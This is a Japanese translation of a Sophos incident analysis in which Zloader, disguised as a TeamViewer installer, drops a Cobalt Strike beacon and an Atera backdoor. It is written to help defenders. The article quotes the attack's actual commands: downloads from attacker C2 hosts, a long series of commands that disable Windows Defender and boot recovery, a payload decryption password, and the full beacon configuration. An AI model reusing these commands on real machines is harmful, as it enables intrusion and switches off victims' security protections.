バンキング型トロイの木馬 Zloader によるバックドアのインストールと Cobalt Strike の配信

Zloader は、マルウェア「 Zeus 」と古くからのつながりを持つバンキング型トロイの木馬です。

** 本記事は、Zloader Installs Remote Access Backdoors and Delivers Cobalt Strike の翻訳です。最新の情報は英語記事をご覧ください。**

最近、 Egregor と Ryuk ランサムウェアの関連グループは、最初の侵入方法として Zloader を利用しています。Zloader は、 VNC リモートアクセス機能を備えており、ロシア語圏で悪名の高いサイバー犯罪フォーラム exploit[.]in で提供されました。.

Zloader は、悪意のある Web 広告を利用してユーザーをリダイレクトし、悪意のある MSI ファイルをダウンロードさせることで感染させます。過去一年にわたって、 攻撃者は Zloader の MSI ファイルを、 Zoom 、 TeamViewer 、 Discord などのリモートワークアプリケーションのインストーラーとして偽装しました。

Sophos Managed Threat Response Team は先日、Zloader 攻撃を検出、対応しました。この攻撃は CobaltStrike を配信し、継続的にリモートアクセスできるように Atera Agent をインストールします。MTR は、Zloader が Windows の既知の脆弱性を利用して、 Microsoft が提供するデジタル署名付きファイルに悪意のあるスクリプトコンテンツを付加できることを確認しました (CVE-2013-3900) 。この 1 ヶ月の間に、他に 2 つのセキュリティベンダーがこの攻撃に関連する調査を公開しています。Checkpoint 社は、 Zloader が CVE-2013-3900 を悪用する方法の詳細を最初に公表しました。その後まもなく、Walmart GlobalTech がこの攻撃に関する調査を詳述し、「感染は主に米国とヨーロッパで発生している」という調査結果を発表しています。ソフォスは、初期のアクセス方法や展開された CobaltStrike ビーコンに関する独自の観測をもとにした調査結果を公表することにしました。

イベントのタイムライン

19:29

12 月 10 日 (金)、米国の自動車会社内のユーザーが、 Google で「 teamviewer download 」と検索し、自分のコンピュータにリモートアクセスツールをインストールしようとしました。残念ながら、このユーザーは悪意のある広告をクリックしてしまい、TeamViewer.msi という悪意のあるインストールパッケージをダウンロードし、実行しました

この悪意のあるダウンロードは、teamviewer-u[.]com というドメインを使用して実行されました。
このコマンド&コントロールドメインは、 ソフォスが分析した際には Zloader ドメイン zoomvideoconference[.]com と同じホスティング IP アドレスを共有していました。

19:30

ダウンロードした TeamViewer.msi が実行されると、internal.exeという名前の悪意のある実行ファイルがディスクに書き込まれます。この悪意のある実行ファイルは、正規の TeamViewer アプリケーションと並行して起動されました。

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe

internal.exe は、 Zloader コマンド&コントロールサーバーである clouds222[.]com から追加のマルウェアをダウンロードし、実行するインストールスクリプトを起動しました。

cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat
powershell Invoke-WebRequest  https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat

ダウンロードしたスクリプト flash.bat は、ユーザーアプリケーションコントロールを回避し、攻撃者の権限を昇格させるように設計された VBS スクリプトを実行しました。

"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system"
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"

19:31

flash.bat はその後、 2 回目の実行を行いましたが、今回は clouds222[.]com から追加のペイロードとツールをダウンロードするために使用されました。

powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
ping 127.0.0.1 -n 3
cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat"
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"

最初の MSI マルウェアの実行から約 2 分後、ダウンロードされたファイル flashupdate.ps1 が実行されました。このスクリプトには、 GnuPg をインストールし、ペイロードを復号化するための機能が含まれていました。

"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S
"C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""

PowerShell スクリプト flashupdate.ps1 は、もう 1 つのポストエクスプロイトスクリプト ais.bat を実行しました。このバッチスクリプトは、commandaadmin[.]com を利用して、 Nsudo というツールの名前を変更したコピーをダウンロードしました (TrustedInstaller)。Nsudo というのは、攻撃者が昇格した権限でプロセスを実行するために一般的に悪用するプログラムです。このスクリプトは、reg.exe を使用して、 Windows Defender の通知を抑制するなど、検出を回避するために複数のレジストリキーを変更しました。Bcdedit.exe は、’sc config’ を介して Windows defender を無効にする前に、Windows スタートアップ修復を無効にするために使用されます。ais.bat は、観測されたコマンドの類似性から、「Windows Defender の保護を完全に無効にすると主張している「Defeat-Defender」というオープンソースのスクリプトから派生した可能性があります。

powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe
adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
adminpriv -U:T sc config WinDefend start= disabled
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat

ダウンロードされたペイロードの appContast.dllapiicontrast.dl は、 Windows の既知の脆弱性である CVE-2013-3900 を利用しています。これにより、 Zloader は、 Microsoft によってデジタル署名されたファイルに、悪意のあるスクリプトコンテンツを付加することが可能になります。付加されたスクリプトコンテンツは、 Windows のバイナリである mshta.exe を使用して実行されます。

cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll

appContrast.dll が実行されると、追加の防御回避コマンドが観測されました。PowerShell は、 Windows Defender のモジュールを改ざんするために使用されました。

Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*'
Add-MpPreference -ExclusionPath 'C:\Users\User\*'
Add-MpPreference -ExclusionPath 'C:\Users\User'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\'
Set-MpPreference -MAPSReporting 0
Add-MpPreference -ExclusionProcess 'regsvr32'
Add-MpPreference -ExclusionProcess 'powershell.exe'
Add-MpPreference -ExclusionExtension '.exe'
Add-MpPreference -ExclusionProcess 'regsvr32*'
Add-MpPreference -ExclusionProcess '.dll'
Add-MpPreference -ExclusionProcess '*.dll'
Set-MpPreference -PUAProtection disable
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Add-MpPreference -ExclusionProcess '*.exe'
Add-MpPreference -ExclusionProcess 'explorer.exe'
Add-MpPreference -ExclusionProcess '.exe'
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
Add-MpPreference -ExclusionProcess 'msiexec.exe'
Add-MpPreference -ExclusionProcess 'rundll32.exe'
Add-MpPreference -ExclusionProcess 'rundll32*'

apiicontrast.dll が MSHTA で実行されると、 Cobalt Strike ペイロードである zoom.dll の復号と実行に先立って、 VBS スリープスクリプトが起動されます。この GPG 復号化パスワードが Zloader に関連付けられたことが、 Twitter ユーザーの @nao_sec によって 11 月 28 日に初めて確認されました。

"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000
"C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup'
"C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer
"C:\Windows\System32\cmd.exe" /c zoom1.msi
"C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll

同時に、 msiexec は AteraAgent を経由したリモートアクセスバックドアをインストールしました。Conti ランサムウェアに関連するランサムウェアグループは、頻繁に AteraAgent や他のリモートアクセスツールを採用しています。復号化された Cobalt Strike ペイロード zoom.dll は、以下のビーコン設定を使用して C2 サーバー sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js と通信しようとします。

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe"
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId=""
NET STOP AteraAgent
taskkill /f /im AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u
"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""

The decrypted Cobalt Strike payload zoom.dll attempts to communicate with the C2 server sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js using the BEACON configuration below.

{
    "BeaconType": [
        "HTTP"
    ],
    "Port": 80,
    "SleepTime": 5000,
    "MaxGetSize": 1403644,
    "Jitter": 10,
    "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L
tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077
fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
    "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4",
    "C2Server": "sdilok.com,/jquery-3.3.1.min.js",
    "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
    "HttpPostUri": "/jquery-3.3.2.min.js",
    "Malleable_C2_Instructions": [
        "Remove 1522 bytes from the end",
        "Remove 84 bytes from the beginning",
        "Remove 3931 bytes from the beginning",
        "Base64 URL-safe decode",
        "XOR mask w/ random key"
    ],
    "HttpGet_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [
            "base64url",
            "prepend \"__cfduid=\"",
            "header \"Cookie\""
        ],
        "SessionId": [],
        "Output": []
    },
    "HttpPost_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [],
        "SessionId": [
            "mask",
            "base64url",
            "parameter \"__cfduid\""
        ],
        "Output": [
            "mask",
            "base64url",
            "print"
        ]
    },
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "SSH_Banner": "",
    "HttpGet_Verb": "GET",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
    "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe",
    "CryptoScheme": 0,
    "Proxy_Behavior": "Use IE settings",
    "Watermark": 0,
    "bStageCleanup": "True",
    "bCFGCaution": "False",
    "KillDate": 0,
    "bProcInject_StartRWX": "False",
    "bProcInject_UseRWX": "False",
    "bProcInject_MinAllocSize": 17500,
    "ProcInject_PrependAppend_x86": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_PrependAppend_x64": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_Execute": [
        "ntdll:RtlUserThreadStart",
        "CreateThread",
        "NtQueueApcThread-s",
        "CreateRemoteThread",
        "RtlCreateUserThread"
    ],
    "ProcInject_AllocationMethod": "NtMapViewOfSection",
    "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",
    "bUsesCookies": "True",
    "HostHeader": "",
    "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "DNS_strategy": "round-robin",
    "DNS_strategy_rotate_seconds": -1,
    "DNS_strategy_fail_x": -1,
    "DNS_strategy_fail_seconds": -1
}

応答と修復

19:34

Sophos EDR/XDR は、メモリ内の Cobalt Strike ペイロードを ‘C2_6a T1071.001 mem/cobalt-d’ として検出し、悪意のある rundll32.exe プロセスを終了させ、Cobalt Strike ペイロードをディスクから削除する措置を自動的に実行します。

19:35

Sophos Managed Threat Response チームは、攻撃が疑われるコマンドと Cobalt Strike の検出についての調査を作成しました。Cobalt Strike は、攻撃者によって広く使用されているリモートアクセスエージェントで、一般的にランサムウェア攻撃の前兆とみなされます。

19:37

ソフォスの MTR アナリストは、最初のマルウェア実行からわずか 6 分後にこの攻撃への対応を開始しました。対応している間、MTR チームは、影響を受けたホストを隔離し、それ以降のネットワーク接続を防止しました。調査時には、 MTR チームは SophosLabs と密接に連携し、顧客全体の安全を確保するために必要な措置を即座に講じました。MTR は Atera バックドアを無効にし、影響を受けた顧客と協力して、影響を 1 台のワークステーション デバイスに抑えることに成功しました。

セキュリティ侵害の痕跡

インジケーター タイプ
teamviewer-u[.]com コマンドアンドコントロール
zoomvideoconference[.]com コマンドアンドコントロール
https[:]//sdilok[.]com/jquery-3.3.1.min.js コマンドアンドコントロール – Cobalt Strike
https[:]//clouds222[.]com コマンドアンドコントロール
https[:]//commandaadmin[.]com コマンドアンドコントロール
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c ファイル – ‘TeamViewer.msi’
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f ファイル – ‘auto.bat’
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 ファイル – ‘internal.exe
3a80a49efaac5d839400e4fb8f803243fb39a513 ファイル – ‘adminpriv.exe’
5c59ef0d8c0919082128e98a757d844c0ace54e3 ファイル – ‘ais.bat’
23136ecb2edb263db390b6b9fcf9000ff23441a9 ファイル – ‘appContast.dll’
5912bfbd07dec5dd7798e7cb413299c788a8fd9e ファイル – ‘flashupdate.ps1’
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c ファイル – ‘zoom1.msi.gpg’
b350b770b8b79ffb16574d59e4ca4fafacca19cd ファイル – ‘zoom1.msi’
41a47cc8807121cac19597bc0455084e714604bc ファイル – ‘zoom2.dll.gpg’
2c15d43aab71465c9308e0cc306339925d47dea3 ファイル – ‘zoom2.dll’

MITRE ATT&CK マッピング

MITRE 戦術 MITRE 手法
初期アクセス T1189 – Web 閲覧による感染
実行 T1059 – コマンドおよびスクリプトのインタープリタ

T1204 – ユーザーによる実行

常駐化 T1543 – システムプロセスの作成または変更
権限昇格 T1055 – プロセスインジェクション

T1548 – 権限昇格制御の悪用

防御回避 T1218 – 署名入りバイナリプロキシ実行

T1562 – 防御機能の無効化

T1036 – 偽装

T1140 – ファイルや情報の難読化・復号化

コマンドアンドコントロール T1219 – リモートアクセスソフトウェア

T1071 – アプリケーションレイヤープロトコル: Webプロトコル

検出 T1482 – ドメインの信頼関係の検出
データの外部への漏えい T1041 – コマンドアンドコントロールチャンネルを介した漏えい

 

執筆と調査: Colin Cowie、協力: Stan Andic、Sophos MTR チーム